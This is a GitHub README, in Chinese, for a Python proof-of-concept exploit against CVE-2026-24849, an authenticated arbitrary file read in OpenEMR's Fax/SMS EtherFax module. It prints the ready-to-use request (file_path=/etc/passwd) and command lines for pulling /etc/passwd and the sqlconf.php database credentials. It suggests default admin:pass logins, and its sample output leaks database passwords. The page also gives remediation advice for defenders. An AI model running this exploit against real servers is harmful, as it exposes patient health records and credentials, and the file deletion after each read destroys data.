doany1/CVE-2026-24849

GitHub: doany1/CVE-2026-24849

针对 OpenEMR EtherFax 模块认证后路径穿越/任意文件读取漏洞(CVE-2026-24849)的 Python 概念验证利用工具。

Stars: 0 | Forks: 0

# CVE-2026-24849 OpenEMR 认证后任意文件读取 (EtherFax `disposeDoc`) # 测试版本:OpenEMR 版本 = 7.0.2 **CVE-2026-24849** 的概念验证漏洞利用程序,该漏洞是 OpenEMR 的 Fax/SMS (EtherFax) 模块中存在的认证后路径穿越/任意文件读取漏洞。任何经过认证的用户(无论其权限级别如何)都能以 Web 服务器用户的身份读取服务器文件系统中的任意文件(数据库凭据、患者文档/PHI、`/etc/passwd` 等)。 | | | |---|---| | **CVE** | CVE-2026-24849 | | **漏洞** | 路径穿越 / 任意文件读取 (CWE-22) | | **组件** | `EtherFaxActions::disposeDoc()` `interface/modules/custom_modules/oe-module-faxsms` | | **受影响版本** | OpenEMR `< 7.0.4` | | **修复版本** | OpenEMR `7.0.4` | | **认证要求** | 需要 *任意* 用户,无需特定权限 | | **严重程度** | NVD 6.5 (中危) / GitHub CNA 9.9 (严重) | | **测试环境** | OpenEMR 7.0.2,Ubuntu 22.04,PHP 8.1,Apache 2.4 | ## 漏洞详情 Fax/SMS 模块的 `disposeDoc()` 方法接收由调用方提供的 `file_path` 请求参数,确认文件存在后,直接将其传递给 `readfile()` —— **没有进行路径标准化处理,没有设置白名单,且除了检查是否持有有效的 session 外,没有任何授权检查**: ``` // interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php public function disposeDoc($content = ''): void { $where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated if (file_exists($where)) { ... readfile($where); // arbitrary file read as the web-server user unlink($where); // ⚠ deletes the file after reading (see warning below) exit; } die('Problem with download. Use browser back button'); } ``` 通过模块调度器即可访问该处理程序,只需在 `file_path` 中提供**绝对路径**即可(无需使用 `../` 进行路径穿越): ``` GET /interface/modules/custom_modules/oe-module-faxsms/index.php ?site=default &type=fax &_ACTION_COMMAND=disposeDoc &file_path=/etc/passwd &action=download ``` ## 影响 低权限(或默认)账户将直接成为一个完整的服务器端文件读取原语: - **数据库凭据** —— `sites/default/sqlconf.php` - **患者记录 / PHI** —— `sites//documents/` 下的任何内容,即使该目录在 `.htaccess` 中设置了 `Deny from all`(读取操作直接在磁盘上进行,绕过了 Apache) - **系统文件** —— `/etc/passwd`、应用程序源码、可被 Web 用户读取的密钥/token ## 前置条件 - 有效的 OpenEMR 凭据(任何权限级别均可 —— 通常默认的 `admin:pass` 即可生效)。 - **启用 Fax/SMS 模块**,并选择 **EtherFax** 作为传真提供商。无需真实的 EtherFax 账户/凭据 —— 文件读取发生在任何外部 API 调用之前。 ## 环境要求 - Python 3.6+ - [`requests`](https://pypi.org/project/requests/) ``` pip3 install requests ``` ## 安装说明 ``` git clone https://github.com/doany1/CVE-2026-24849.git cd CVE-2026-24849 chmod +x CVE-2026-24849.py ``` ## 用法 直接运行(不带参数),它会**提示您输入所有必需的信息**: ``` python3 CVE-2026-24849.py ``` 或者使用参数进行非交互式运行: ``` # 读取单个文件 python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd # 获取 DB 凭据并保存到文件 python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \ -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php ``` ### 选项 | 参数 | 描述 | 默认值 | |---|---|---| | `-t`, `--target` | 基础 URL,例如 `http://10.10.10.10` | *提示输入* | | `-u`, `--user` | OpenEMR 用户名 | `admin` | | `-P`, `--password` | OpenEMR 密码 | *提示输入(隐藏)* | | `-s`, `--site` | OpenEMR 站点 ID | `default` | | `-f`, `--file` | 要读取的远程文件的绝对路径 | *如果省略则进入交互式循环* | | `-o`, `--output` | 将获取的文件保存在本地而不是直接打印输出 | | 如果省略 `-f` 参数,该工具将进入**交互式读取循环**,以便您从一个会话中提取多个文件。 ### 示例 ``` $ python3 CVE-2026-24849.py [*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849) Target base URL (e.g. http://10.10.10.10): http://10.10.10.10 Username [admin]: Password: Site [default]: [*] Authenticating to http://10.10.10.10 as 'admin' ... [+] Authenticated; CVE-2026-24849 file-read confirmed. [*] Interactive read - enter absolute file paths (blank or 'q' to quit). file_path: /var/www/html/openemr/sites/default/sqlconf.php [+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ---------- $login = 'openemr'; $pass = 'openemr123'; $dbase = 'openemr'; [+] -------------------------- ``` ### 工作原理 1. 使用 `requests` 登录,并将 session 保留在其自己的 cookie jar 中(避免了浏览器 session-ID 轮换导致复制的 cookie 失效)。 2. 通过读取一个安全的、root 拥有的探测文件来确认访问权限 —— 从而清晰地区分*凭据错误*、*模块未启用*或*成功*。 3. 发送 `disposeDoc` 读取请求,自动尝试 `disposeDoc` 和 `disposeDocument`(方法名称在不同的受影响次要版本中有所不同)。 ## 修复建议 - **升级到 OpenEMR 7.0.4 或更高版本。** 该修复对路径进行了标准化处理,将其限制在允许的目录内,并添加了真实的授权检查。 - 更改默认凭据并强制在首次登录时重置密码。 - 将密钥和患者文档保存在 **webroot 之外**;不要仅将 `.htaccess` 作为唯一的控制手段。 ## 免责声明 本工具仅供**授权的安全测试和教育目的**使用。请仅对您拥有或已获得明确书面许可进行测试的系统使用此工具。作者对任何滥用行为或本软件造成的任何损害概不负责。请注意上文所述的具有破坏性的 `unlink()` 行为。 ## 参考 - GitHub 安全公告: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849 - 厂商: https://www.open-emr.org/ ## 作者 `doany1` ## 许可证 MIT —— 见 [`LICENSE`](LICENSE)。
标签:PoC, Web安全, 任意文件读取, 医疗信息系统, 暴力破解, 网络安全审计, 蓝队分析, 路径遍历, 逆向工具